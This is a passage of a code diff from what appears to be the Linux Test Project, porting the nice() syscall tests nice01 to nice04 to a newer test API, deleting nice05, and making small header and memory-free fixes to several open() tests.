- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
 /*
- * Test Name: nice01
- *
- * Test Description:
- *  Verify that root can provide a negative value  to nice()
+ *  Verify that root can provide a negative value to nice()
  *  and hence root can decrease the nice value of the process
  *  using nice() system call
- *
- * Expected Result:
- *  nice() should return value 0 on success and root user should succeed
- *  to decrease the nice value of test process.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *   	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *   	Verify the Functionality of system call
- *      if successful,
- *      	Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *
- * Usage:  <for command-line>
- *  nice01 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS:
- *  This test should be run by 'super-user' (root) only.
- *
  */
 #include <unistd.h>
-#include <sys/types.h>
 #include <errno.h>
-#include <fcntl.h>
-#include <sys/time.h>
 #include <sys/resource.h>
-
-#include "test.h"
+#include "tst_test.h"
 
 #define	NICEINC		-12
-#define TEMPFILE	"temp_file"
 
-char *TCID = "nice01";
-int TST_TOTAL = 1;
-
-int Org_nice;			/* original priority of the test process */
-FILE *fp;
-
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
-
-int main(int ac, char **av)
+static void verify_nice(void)
 {
-	int lc;
-	int New_nice;		/* priority of process after nice() */
-	int rval;
+	int new_nice;
+	int orig_nice;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	orig_nice = SAFE_GETPRIORITY(PRIO_PROCESS, 0);
 
-	setup();
+	TEST(nice(NICEINC));
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Call nice(2) with an 'incr' parameter set
-		 * to a negative value.
-		 */
-		TEST(nice(NICEINC));
-
-		/* check return code */
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "nice(%d) Failed, errno=%d : %s",
-				 NICEINC, TEST_ERRNO, strerror(TEST_ERRNO));
-			continue;
-		}
-
-		New_nice = getpriority(PRIO_PROCESS, 0);
-
-		/* Validate functionality of the nice() */
-		if (New_nice != (Org_nice + NICEINC)) {
-			tst_resm(TFAIL, "nice() fails to modify the "
-				 "priority of process");
-		} else {
-			tst_resm(TPASS, "Functionality of nice(%d) "
-				 "successful", NICEINC);
-		}
-
-		/* return the process to the original priority */
-		rval = nice(-NICEINC);
-
+	if (TEST_RETURN != (orig_nice + NICEINC)) {
+		tst_res(TFAIL | TTERRNO, "nice(%d) returned %li, expected %i",
+		        NICEINC, TEST_RETURN, orig_nice + NICEINC);
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	if (TEST_ERRNO) {
+		tst_res(TFAIL | TTERRNO, "nice(%d) failed", NICEINC);
+		return;
+	}
+
+	new_nice = SAFE_GETPRIORITY(PRIO_PROCESS, 0);
+
+	if (new_nice != (orig_nice + NICEINC)) {
+		tst_res(TFAIL, "Process priority %i, expected %i",
+		        new_nice, orig_nice + NICEINC);
+		return;
+	}
+
+	tst_res(TPASS, "nice(%d) passed", NICEINC);
+
+	TEST(nice(-NICEINC));
+	if (TEST_ERRNO)
+		tst_brk(TBROK | TERRNO, "nice(-NICEINC) failed");
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- *  	     Make sure the test process uid is super user.
- *  	     Get the current priority value.
- */
-void setup(void)
-{
-
-	tst_require_root();
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	Org_nice = getpriority(PRIO_PROCESS, 0);
-}
-
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- *  	       Remove the test directory and testfile created in the setup.
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.tid = "nice01",
+	.test_all = verify_nice,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/syscalls/nice/nice02.c b/testcases/kernel/syscalls/nice/nice02.c
index 248c30b..4c9ccae 100644
--- a/testcases/kernel/syscalls/nice/nice02.c
+++ b/testcases/kernel/syscalls/nice/nice02.c
@@ -1,159 +1,69 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ *  07/2001 Ported by Wayne Boyer
+ * Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
-
 /*
- * Test Name: nice02
- *
- * Test Description:
  *  Verify that any user can successfully increase the nice value of
  *  the process by passing a higher increment value (> max. applicable limits)
  *  to nice() system call.
- *
- * Expected Result:
- *  nice() should return value 0 on success and root user should succeed to
- *  increase the nice value of the test process.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *   	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *   	Verify the Functionality of system call
- *      if successful,
- *      	Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *
- * Usage:  <for command-line>
- *  nice02 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS:
- *  none
  */
 #include <unistd.h>
 #include <errno.h>
-#include <fcntl.h>
-#include <sys/time.h>
 #include <sys/resource.h>
 
-#include "test.h"
+#include "tst_test.h"
 
-char *TCID = "nice02";
-int TST_TOTAL = 1;
+#define	NICEINC 50
+#define MAX_PRIO 19
+#define DEFAULT_PRIO 0
 
-#define	NICEINC		50
-
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
-
-int main(int ac, char **av)
+static void verify_nice(void)
 {
-	int lc;
-	int New_nice;		/* priority of process after nice() */
-	int max_val;		/* Maximum nice value per OS. */
+	int new_nice;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	TEST(nice(NICEINC));
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Call nice(2) with an 'incr' parameter set
-		 * to a higher +ve value.
-		 */
-		TEST(nice(NICEINC));
-
-		/* check return code */
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "nice(%d) Failed, errno=%d : %s",
-				 NICEINC, TEST_ERRNO, strerror(TEST_ERRNO));
-			continue;
-		}
-
-		/*
-		 * Get the current priority of the test process.
-		 */
-		errno = 0;
-		New_nice = getpriority(PRIO_PROCESS, 0);
-		if (New_nice == -1 && errno != 0) {
-			tst_brkm(TFAIL, cleanup, "Fail to get priority "
-				 "of process after nice()");
-		}
-
-		/*
-		 * Validate functionality of the nice().
-		 *
-		 * Default priority is 0, Max is 20.
-		 */
-		max_val = 20;
-
-		if (New_nice != (max_val - 1)) {
-			tst_resm(TFAIL, "Priority of process : %d "
-				 "doesn't match the expected:%d",
-				 New_nice, (max_val - 1));
-		} else {
-			tst_resm(TPASS, "Functionality of nice(%d)"
-				 " successful", NICEINC);
-		}
+	if (TEST_RETURN == -1) {
+		tst_res(TFAIL | TTERRNO, "nice(%d) returned -1", NICEINC);
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	if (TEST_ERRNO) {
+		tst_res(TFAIL | TTERRNO, "nice(%d) failed", NICEINC);
+		return;
+	}
+
+	new_nice = SAFE_GETPRIORITY(PRIO_PROCESS, 0);
+
+	if (new_nice != MAX_PRIO) {
+		tst_res(TFAIL, "Process priority %i, expected %i",
+			new_nice, MAX_PRIO);
+		return;
+	}
+
+	tst_res(TPASS, "nice(%d) passed", NICEINC);
+
+	TEST(nice(DEFAULT_PRIO));
+	if (TEST_ERRNO)
+		tst_brk(TBROK | TERRNO, "nice(-NICEINC) failed");
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- *  Remove the test directory and testfile created in the setup.
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.tid = "nice02",
+	.test_all = verify_nice,
+};
diff --git a/testcases/kernel/syscalls/nice/nice03.c b/testcases/kernel/syscalls/nice/nice03.c
index 357de9e..6b90c2d 100644
--- a/testcases/kernel/syscalls/nice/nice03.c
+++ b/testcases/kernel/syscalls/nice/nice03.c
@@ -1,156 +1,77 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ *  07/2001 Ported by Wayne Boyer
+ * Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
-
 /*
- * Test Name: nice03
- *
- * Test Description:
  *  Verify that any user can successfully increase the nice value of
  *  the process by passing an increment value (< max. applicable limits) to
  *  nice() system call.
- *
- * Expected Result:
- *  nice() should return value 0 on success and the user should succeed
- *  to increase the nice value of test process.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *   	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *   	Verify the Functionality of system call
- *      if successful,
- *      	Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *
- * Usage:  <for command-line>
- *  nice03 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS:
- *  The maximum iterations with the -i option is 9
- *
  */
-
-#include <stdio.h>
 #include <unistd.h>
+#include <stdlib.h>
 #include <errno.h>
-#include <fcntl.h>
-#include <sys/time.h>
 #include <sys/resource.h>
+#include "tst_test.h"
 
-#include "test.h"
+#define	NICEINC	2
 
-char *TCID = "nice03";
-int TST_TOTAL = 1;
-
-#define	NICEINC		2
-int Org_nice;			/* original priority of the test process */
-
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
-
-int main(int ac, char **av)
+static void nice_test(void)
 {
-	int lc;
-	int New_nice;		/* priority of process after nice() */
+	int new_nice;
+	int orig_nice;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	orig_nice = SAFE_GETPRIORITY(PRIO_PROCESS, 0);
 
-	setup();
+	TEST(nice(NICEINC));
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Call nice(2) with an 'incr' parameter set
-		 * to a +ve value < max. applicable limit.
-		 * (Linux - 20)
-		 */
-		TEST(nice(NICEINC));
-
-		/* check return code */
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "nice(%d) Failed, errno=%d : %s",
-				 NICEINC, TEST_ERRNO, strerror(TEST_ERRNO));
-			continue;
-		}
-
-		New_nice = getpriority(PRIO_PROCESS, 0);
-
-		/* Validate functionality of the nice() */
-		if (New_nice != (Org_nice + NICEINC)) {
-			tst_resm(TFAIL, "nice() failed to modify the "
-				 "priority of process");
-		} else {
-			tst_resm(TPASS, "Functionality of nice(%d) is "
-				 "correct", NICEINC);
-		}
-		Org_nice = New_nice;
+	if (TEST_RETURN == -1) {
+		tst_res(TFAIL | TTERRNO, "nice(%d) returned -1", NICEINC);
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	if (TEST_ERRNO) {
+		tst_res(TFAIL | TTERRNO, "nice(%d) failed", NICEINC);
+		return;
+	}
+
+	new_nice = SAFE_GETPRIORITY(PRIO_PROCESS, 0);
+
+	if (new_nice != (orig_nice + NICEINC)) {
+		tst_res(TFAIL, "Process priority %i, expected %i",
+		        new_nice, orig_nice + NICEINC);
+		return;
+	}
+
+	tst_res(TPASS, "nice(%d) passed", NICEINC);
+
+	exit(0);
 }
 
-/*
- * void
- * setup() - performs all ONE TIME setup for this test.
- *  Create a temporary directory and change directory to it.
- *  Get the process id of test process.
- *  Get the current nice value of test process and save it in a file.
- *  Read the nice value from file into a variable.
- */
-void setup(void)
+static void verify_nice(void)
 {
+	if (!SAFE_FORK())
+		nice_test();
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	Org_nice = getpriority(PRIO_PROCESS, 0);
+	tst_reap_children();
 }
 
-/*
- * void
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.tid = "nice03",
+	.forks_child = 1,
+	.test_all = verify_nice,
+};
diff --git a/testcases/kernel/syscalls/nice/nice04.c b/testcases/kernel/syscalls/nice/nice04.c
index 9c043de..3d63f31 100644
--- a/testcases/kernel/syscalls/nice/nice04.c
+++ b/testcases/kernel/syscalls/nice/nice04.c
@@ -1,160 +1,63 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ *  07/2001 Ported by Wayne Boyer
+ * Copyright (c) 2016 Cyril Hrubis <chrubis@suse.cz>
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
-
 /*
- * Test Name: nice04
- *
- * Test Description:
  *  Verify that, nice(2) fails when, a non-root user attempts to increase
  *  the priority of a process by specifying a negative increment value.
- *
- * Expected Result:
- *  nice() returns -1 and sets errno to EPERM.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *   	if errno set == expected errno
- *		PASS
- *   		Issue sys call fails with expected return value and errno.
- *   	Otherwise,
- *		FAIL
- *		Issue sys call fails with unexpected errno.
- *   Otherwise,
- *	Issue sys call returns unexpected value.
- *
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *
- * Usage:  <for command-line>
- *  nice04 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS:
- *  This test should be executed by 'non-super-user' only.
  */
 #include <pwd.h>
 #include <unistd.h>
 #include <errno.h>
+#include "tst_test.h"
 
-#include "test.h"
+#define NICEINC -10
 
-char *TCID = "nice04";
-int TST_TOTAL = 1;
+static void verify_nice(void)
+{
+	TEST(nice(NICEINC));
 
-char nobody_uid[] = "nobody";
-struct passwd *ltpuser;
+	if (TEST_RETURN != -1) {
+		tst_res(TFAIL, "nice(%i) succeded unexpectedly (returned %li)",
+			NICEINC, TEST_RETURN);
+		return;
+	}
 
-struct test_case_t {		/* test case struct. to hold ref. test cond's */
-	int nice_val;
-	char *desc;
-	int exp_errno;
-} Test_cases[] = {
-	{
-	-5, "Non-root cannot specify higher priority", EPERM}
+	if (TEST_ERRNO != EPERM) {
+		tst_res(TFAIL | TTERRNO, "nice(%i) should fail with EPERM",
+			NICEINC);
+		return;
+	}
+
+	tst_res(TPASS, "nice(%i) failed with EPERM", NICEINC);
+}
+
+static void setup(void)
+{
+	struct passwd *ltpuser;
+
+	ltpuser = SAFE_GETPWNAM("nobody");
+	SAFE_SETUID(ltpuser->pw_uid);
+}
+
+static struct tst_test test = {
+	.tid = "nice04",
+	.setup = setup,
+	.test_all = verify_nice,
+	.needs_root = 1,
 };
-
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
-
-int main(int ac, char **av)
-{
-	int lc;
-	int i;
-	int incr_val;		/* nice value for the process */
-	char *test_desc;	/* test specific error message */
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-			incr_val = Test_cases[i].nice_val;
-			test_desc = Test_cases[i].desc;
-
-			/*
-			 * Call nice(2) with different 'incr' parameter
-			 * values and verify that it fails as expected.
-			 */
-			TEST(nice(incr_val));
-
-			/* check return code from nice(2) */
-			if (TEST_RETURN == -1) {
-				tst_resm(TPASS, "nice(2) returned %ld for %s",
-					 TEST_RETURN, test_desc);
-			} else {
-				tst_resm(TFAIL | TTERRNO,
-					 "nice() returned %ld for %s",
-					 TEST_RETURN, test_desc);
-			}
-		}
-	}
-
-	cleanup();
-	tst_exit();
-
-}
-
-/*
- * setup() - performs all ONE TIME setup for this test.
- *  Make sure the test process uid is non-root only.
- */
-void setup(void)
-{
-	tst_require_root();
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	/* Switch to nobody user for correct error code collection */
-	ltpuser = getpwnam(nobody_uid);
-	if (setuid(ltpuser->pw_uid) == -1) {
-		tst_resm(TINFO, "setuid failed to "
-			 "to set the effective uid to %d", ltpuser->pw_uid);
-		perror("setuid");
-	}
-
-	TEST_PAUSE;
-}
-
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- */
-void cleanup(void)
-{
-
-}
diff --git a/testcases/kernel/syscalls/nice/nice05.c b/testcases/kernel/syscalls/nice/nice05.c
deleted file mode 100644
index 699ec25..0000000
--- a/testcases/kernel/syscalls/nice/nice05.c
+++ /dev/null
@@ -1,190 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
- */
-/* $Id: nice05.c,v 1.5 2009/11/02 13:57:17 subrata_modak Exp $ */
-/**********************************************************
- *
- *    OS Test - Silicon Graphics, Inc.
- *
- *    TEST IDENTIFIER	: nice05
- *
- *    EXECUTED BY	: anyone
- *
- *    TEST TITLE	: Basic test for nice(2)
- *
- *    PARENT DOCUMENT	: usctpl01
- *
- *    TEST CASE TOTAL	: 1
- *
- *    WALL CLOCK TIME	: 1
- *
- *    CPU TYPES		: ALL
- *
- *    AUTHOR		: William Roske
- *
- *    CO-PILOT		: Dave Fenner
- *
- *    DATE STARTED	: 03/30/92
- *
- *    INITIAL RELEASE	: UNICOS 7.0
- *
- *    TEST CASES
- *
- * 	1.) nice(2) returns...(See Description)
- *
- *    INPUT SPECIFICATIONS
- * 	The standard options for system call tests are accepted.
- *	(See the parse_opts(3) man page).
- *
- *    OUTPUT SPECIFICATIONS
- *$
- *    DURATION
- * 	Terminates - with frequency and infinite modes.
- *
- *    SIGNALS
- * 	Uses SIGUSR1 to pause before test if option set.
- * 	(See the parse_opts(3) man page).
- *
- *    RESOURCES
- * 	None
- *
- *    ENVIRONMENTAL NEEDS
- *      No run-time environmental needs.
- *
- *    SPECIAL PROCEDURAL REQUIREMENTS
- * 	None
- *
- *    INTERCASE DEPENDENCIES
- * 	None
- *
- *    DETAILED DESCRIPTION
- *	This is a Phase I test for the nice(2) system call.  It is intended
- *	to provide a limited exposure of the system call, for now.  It
- *	should/will be extended when full functional tests are written for
- *	nice(2).
- *
- * 	Setup:
- * 	  Setup signal handling.
- *	  Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	 Loop if the proper options are given.
- * 	  Execute system call
- *	  Check return code, if system call failed (return=-1)
- *		Log the errno and Issue a FAIL message.
- *	  Otherwise, Issue a PASS message.
- *
- * 	Cleanup:
- * 	  Print errno log and/or timing stats if options given
- *
- *
- *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
-
-#include <unistd.h>
-#include <sys/types.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include "test.h"
-
-void setup();
-void cleanup();
-
-char *TCID = "nice05";
-int TST_TOTAL = 1;
-
-int val;
-
-int main(int ac, char **av)
-{
-	int lc;
-
-    /***************************************************************
-     * parse standard options
-     ***************************************************************/
-	tst_parse_opts(ac, av, NULL, NULL);
-
-    /***************************************************************
-     * perform global setup for test
-     ***************************************************************/
-	setup();
-
-    /***************************************************************
-     * check looping state if -c option given
-     ***************************************************************/
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		val = lc % 39;
-		/*
-		 * Call nice(2)
-		 */
-		TEST(nice(val));
-
-		/* check return code */
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "nice(%d) Failed, errno=%d : %s", val,
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-		} else {
-			tst_resm(TPASS, "nice(%d) returned %ld", val,
-				 TEST_RETURN);
-		}
-	}
-
-    /***************************************************************
-     * cleanup and exit
-     ***************************************************************/
-	cleanup();
-	tst_exit();
-}
-
-/***************************************************************
- * setup() - performs all ONE TIME setup for this test.
- ***************************************************************/
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-}
-
-/***************************************************************
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- ***************************************************************/
-void cleanup(void)
-{
-
-}
diff --git a/testcases/kernel/syscalls/open/open02.c b/testcases/kernel/syscalls/open/open02.c
index 020b648..30f8472 100644
--- a/testcases/kernel/syscalls/open/open02.c
+++ b/testcases/kernel/syscalls/open/open02.c
@@ -29,7 +29,7 @@
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <errno.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <pwd.h>
 #include "test.h"
 #include "safe_macros.h"
diff --git a/testcases/kernel/syscalls/open/open03.c b/testcases/kernel/syscalls/open/open03.c
index a67873c..7e82a9a 100644
--- a/testcases/kernel/syscalls/open/open03.c
+++ b/testcases/kernel/syscalls/open/open03.c
@@ -26,7 +26,7 @@
  */
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/open/open04.c b/testcases/kernel/syscalls/open/open04.c
index 52a1e5c..7b3b5eb 100644
--- a/testcases/kernel/syscalls/open/open04.c
+++ b/testcases/kernel/syscalls/open/open04.c
@@ -126,6 +126,8 @@
 		unlink(fname);
 	}
 
+	free(buf);
+
 	/* delete the test directory created in setup() */
 	tst_rmdir();
 }
diff --git a/testcases/kernel/syscalls/open/open10.c b/testcases/kernel/syscalls/open/open10.c
index a17f98c..1165d74 100644
--- a/testcases/kernel/syscalls/open/open10.c
+++ b/testcases/kernel/syscalls/open/open10.c
@@ -37,7 +37,7 @@
 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <grp.h>
 #include <pwd.h>
diff --git a/testcases/kernel/syscalls/open/open13.c b/testcases/kernel/syscalls/open/open13.c
index 1342dc2..3838221 100644
--- a/testcases/kernel/syscalls/open/open13.c
+++ b/testcases/kernel/syscalls/open/open13.c
@@ -30,9 +30,9 @@
 #include "config.h"
 
 #include <errno.h>
-#ifdef HAVE_ATTR_XATTR_H
+#ifdef HAVE_SYS_XATTR_H
 #include <sys/types.h>
-#include <attr/xattr.h>
+#include <sys/xattr.h>
 #endif
 
 #include "test.h"
@@ -47,7 +47,7 @@
 static void verify_write(void);
 static void verify_fchmod(void);
 static void verify_fchown(void);
-#ifdef HAVE_ATTR_XATTR_H
+#ifdef HAVE_SYS_XATTR_H
 static void verify_fgetxattr(void);
 #endif
 static void check_result(const char *call_name);
@@ -60,7 +60,7 @@
 	verify_write,
 	verify_fchmod,
 	verify_fchown,
-#ifdef HAVE_ATTR_XATTR_H
+#ifdef HAVE_SYS_XATTR_H
 	verify_fgetxattr
 #endif
 };
@@ -135,7 +135,7 @@
 	check_result("fchown(2)");
 }
 
-#ifdef HAVE_ATTR_XATTR_H
+#ifdef HAVE_SYS_XATTR_H
 static void verify_fgetxattr(void)
 {
 	TEST(fgetxattr(fd, "tkey", NULL, 1));
diff --git a/testcases/kernel/syscalls/openat/openat01.c b/testcases/kernel/syscalls/openat/openat01.c
index 85f9a91..0441c3a 100644
--- a/testcases/kernel/syscalls/openat/openat01.c
